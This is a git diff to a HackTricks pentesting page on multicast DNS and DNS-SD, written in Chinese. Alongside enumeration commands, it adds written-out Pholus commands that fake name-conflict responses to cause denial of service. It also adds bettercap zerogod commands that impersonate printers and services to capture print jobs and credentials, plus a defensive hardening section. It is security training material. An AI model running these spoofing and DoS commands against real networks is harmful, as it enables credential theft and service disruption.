diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index facc4ae71..0165a854a 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -65,7 +65,7 @@ def ref(matchobj): dir = path.dirname(current_chapter['source_path']) rel_path = path.normpath(path.join(dir,href)) try: - logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}') + logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') if "#" in href: chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") title = " ".join(href.split("#")[1].split("-")).title() diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index 073947bb1..abe2afe3a 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -1,53 +1,143 @@ -# 5353/UDP 多播 DNS (mDNS) 和 DNS-SD +# 5353/UDP Multicast DNS (mDNS) 和 DNS-SD {{#include ../banners/hacktricks-training.md}} -## **基本信息** +## 基本信息 -**多播 DNS (mDNS)** 使得 **类似 DNS 的操作** 在本地网络中得以实现,而无需传统的 DNS 服务器。它在 **UDP 端口 5353** 上运行,允许设备相互发现及其服务,通常见于各种 IoT 设备。**DNS 服务发现 (DNS-SD)** 通常与 mDNS 一起使用,帮助识别网络上可用的服务,通过标准的 DNS 查询进行。 +Multicast DNS (mDNS) 使得在没有单播 DNS 服务器的情况下,在本地链路内实现类似 DNS 的名称解析和服务发现。它使用 UDP/5353 和多播地址 224.0.0.251 (IPv4) 和 FF02::FB (IPv6)。DNS 服务发现 (DNS-SD,通常与 mDNS 一起使用) 提供了一种标准化的方法,通过 PTR、SRV 和 TXT 记录来枚举和描述服务。 ``` PORT STATE SERVICE 5353/udp open zeroconf ``` -### **mDNS的操作** +关键协议细节,您在攻击中经常利用: +- .local 区域中的名称通过 mDNS 解析。 +- QU(查询单播)位可能请求单播回复,即使对于多播问题。 +- 实现应忽略未从本地链路源发的包;一些栈仍然接受它们。 +- 探测/公告强制唯一的主机/服务名称;在这里干扰会造成 DoS/“名称占用”条件。 -在没有标准DNS服务器的环境中,mDNS允许设备通过查询多播地址**224.0.0.251**(IPv4)或**FF02::FB**(IPv6)来解析以**.local**结尾的域名。mDNS的重要方面包括指示记录有效性的**生存时间(TTL)**值和区分单播和多播查询的**QU位**。在安全方面,mDNS实现必须验证数据包的源地址是否与本地子网一致。 +## DNS-SD 服务模型 -### **DNS-SD的功能** +服务在 .local 下被标识为 _._tcp 或 _._udp,例如 _ipp._tcp.local(打印机)、_airplay._tcp.local(AirPlay)、_adb._tcp.local(Android 调试桥)等。使用 _services._dns-sd._udp.local 发现类型,然后将发现的实例解析为 SRV/TXT/A/AAAA。 -DNS-SD通过查询指针记录(PTR)来促进网络服务的发现,这些记录将服务类型映射到其实例。服务使用**\_\.\_tcp或\_\.\_udp**模式在**.local**域中进行标识,从而发现相应的**SRV**和**TXT记录**,提供详细的服务信息。 +## 网络探索和枚举 -### **网络探索** - -#### **nmap使用** - -扫描本地网络以查找mDNS服务的有用命令是: +- nmap 目标扫描(直接在主机上进行 mDNS): ```bash -nmap -Pn -sUC -p5353 [target IP address] +nmap -sU -p 5353 --script=dns-service-discovery ``` -此命令有助于识别开放的 mDNS 端口及其上广告的服务。 - -#### **使用 Pholus 进行网络枚举** - -要主动发送 mDNS 请求并捕获流量,可以按如下方式使用 **Pholus** 工具: +- nmap 广播发现(监听该段并枚举所有 DNS-SD 类型/实例): ```bash -sudo python3 pholus3.py [network interface] -rq -stimeout 10 +sudo nmap --script=broadcast-dns-service-discovery ``` +- avahi-browse(Linux): +```bash +# 列出服务类型 +avahi-browse -bt _services._dns-sd._udp +# 浏览所有服务并解析到主机/端口 +avahi-browse -art +``` +- Apple dns-sd(macOS): +```bash +# 浏览所有 HTTP 服务 +dns-sd -B _http._tcp +# 枚举服务类型 +dns-sd -B _services._dns-sd._udp +# 将特定实例解析为 SRV/TXT +dns-sd -L "My Printer" _ipp._tcp local +``` +- 使用 tshark 捕获数据包: +```bash +# 实时捕获 +sudo tshark -i -f "udp port 5353" -Y mdns +# 仅 DNS-SD 服务列表查询 +sudo tshark -i -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\"" +``` + +提示:一些浏览器/WebRTC 使用临时 mDNS 主机名来掩盖本地 IP。如果您在网络上看到随机的 UUID.local 候选项,请使用 mDNS 解析它们以转向本地 IP。 + ## 攻击 -### **利用 mDNS 探测** +### mDNS 名称探测干扰(DoS / 名称占用) -一种攻击方式是向 mDNS 探测发送伪造的响应,暗示所有潜在名称已经被使用,从而阻碍新设备选择唯一名称。这可以通过以下方式执行: +在探测阶段,主机检查名称的唯一性。以伪造的冲突响应迫使其选择新名称或失败。这可能会延迟或阻止服务注册和发现。 + +使用 Pholus 的示例: ```bash -sudo python pholus.py [network interface] -afre -stimeout 1000 +# Block new devices from taking names by auto-faking responses +sudo python3 pholus3.py -afre -stimeout 1000 ``` -这种技术有效地阻止新设备在网络上注册其服务。 +### 服务欺骗和冒充 (MitM) -**总结**,理解 mDNS 和 DNS-SD 的工作原理对于网络管理和安全至关重要。像 **nmap** 和 **Pholus** 这样的工具提供了对本地网络服务的宝贵洞察,而对潜在漏洞的意识有助于防范攻击。 +冒充广告的 DNS-SD 服务(打印机、AirPlay、HTTP、文件共享),迫使客户端连接到您。这在以下情况下特别有用: +- 通过伪装 _ipp._tcp 或 _printer._tcp 捕获文档。 +- 引诱客户端连接到 HTTP/HTTPS 服务以收集令牌/ cookies 或传递有效载荷。 +- 在 Windows 客户端与伪装服务协商身份验证时结合 NTLM 中继技术。 -### 伪造/中间人攻击 +使用 bettercap 的 zerogod 模块(mDNS/DNS-SD 欺骗者/冒充者): +```bash +# Start mDNS/DNS-SD discovery +sudo bettercap -iface -eval "zerogod.discovery on" -您可以在此服务上执行的最有趣的攻击是执行 **MitM** 在 **客户端与真实服务器之间的通信**。您可能能够获取敏感文件(与打印机的通信进行 MitM)甚至凭据(Windows 身份验证)。\ +# Show all services seen from a host +> zerogod.show 192.168.1.42 + +# Impersonate all services of a target host automatically +> zerogod.impersonate 192.168.1.42 + +# Save IPP print jobs to disk while impersonating a printer +> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/ +> zerogod.impersonate 192.168.1.42 + +# Replay previously captured services +> zerogod.save 192.168.1.42 target.yml +> zerogod.advertise target.yml +``` +也请参见通用的LLMNR/NBNS/mDNS/WPAD欺骗和凭证捕获/中继工作流程: + +{{#ref}} +../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +{{#endref}} + +### 关于最近实施问题的说明(在参与期间对DoS/持久性有用) + +- Avahi可达性断言和D-Bus崩溃漏洞(2023)可以终止Linux发行版上的avahi-daemon(例如CVE-2023-38469..38473,CVE-2023-1981),在重启之前会中断目标主机上的服务发现。 +- Cisco IOS XE无线局域网控制器mDNS网关DoS(2024,CVE-2024-20303)允许相邻攻击者驱动高CPU并断开AP。如果您在VLAN之间遇到mDNS网关,请注意其在格式错误或高频率mDNS下的稳定性。 + +## 防御考虑和OPSEC + +- 段边界:除非明确需要mDNS网关,否则不要在安全区域之间路由224.0.0.251/FF02::FB。如果必须桥接发现,优先使用允许列表和速率限制。 +- Windows端点/服务器: +- 要通过mDNS强制禁用名称解析,请设置注册表值并重启: +``` +HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD) +``` +- 在受管环境中,禁用内置的“mDNS (UDP-In)”Windows Defender防火墙规则(至少在域配置文件上),以防止入站mDNS处理,同时保留家庭/漫游功能。 +- 在较新的Windows 11版本/GPO模板上,使用策略“计算机配置 > 管理模板 > 网络 > DNS客户端 > 配置多播DNS (mDNS) 协议”,并将其设置为禁用。 +- Linux (Avahi): +- 在不需要时锁定发布:设置`disable-publishing=yes`,并在`/etc/avahi/avahi-daemon.conf`中使用`allow-interfaces=` / `deny-interfaces=`限制接口。 +- 考虑`check-response-ttl=yes`,并避免`enable-reflector=yes`,除非严格需要;在反射时优先使用`reflect-filters=`允许列表。 +- macOS:在特定子网不需要Bonjour发现时,限制主机/网络防火墙的入站mDNS。 +- 监控:对`_services._dns-sd._udp.local`查询的异常激增或关键服务的SRV/TXT的突然变化发出警报;这些都是欺骗或服务冒充的指标。 + +## 工具快速参考 + +- nmap NSE: `dns-service-discovery` 和 `broadcast-dns-service-discovery`。 +- Pholus:主动扫描,反向mDNS扫描,DoS和欺骗助手。 +```bash +# 被动嗅探(超时秒数) +sudo python3 pholus3.py -stimeout 60 +# 枚举服务类型 +sudo python3 pholus3.py -sscan +# 发送通用mDNS请求 +sudo python3 pholus3.py --request +# 对子网进行反向mDNS扫描 +sudo python3 pholus3.py -rdns_scanning 192.168.2.0/24 +``` +- bettercap zerogod:发现、保存、广告和冒充mDNS/DNS-SD服务(见上面的示例)。 + +## 欺骗/中间人攻击 + +您可以在客户端与真实服务器之间执行中间人攻击,这是您可以对该服务执行的最有趣的攻击。您可能能够获取敏感文件(与打印机的通信中间人)或甚至凭证(Windows身份验证)。\ 有关更多信息,请查看: {{#ref}} @@ -57,5 +147,7 @@ sudo python pholus.py [network interface] -afre -stimeout 1000 ## 参考文献 - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y) +- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html) +- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/) {{#include ../banners/hacktricks-training.md}}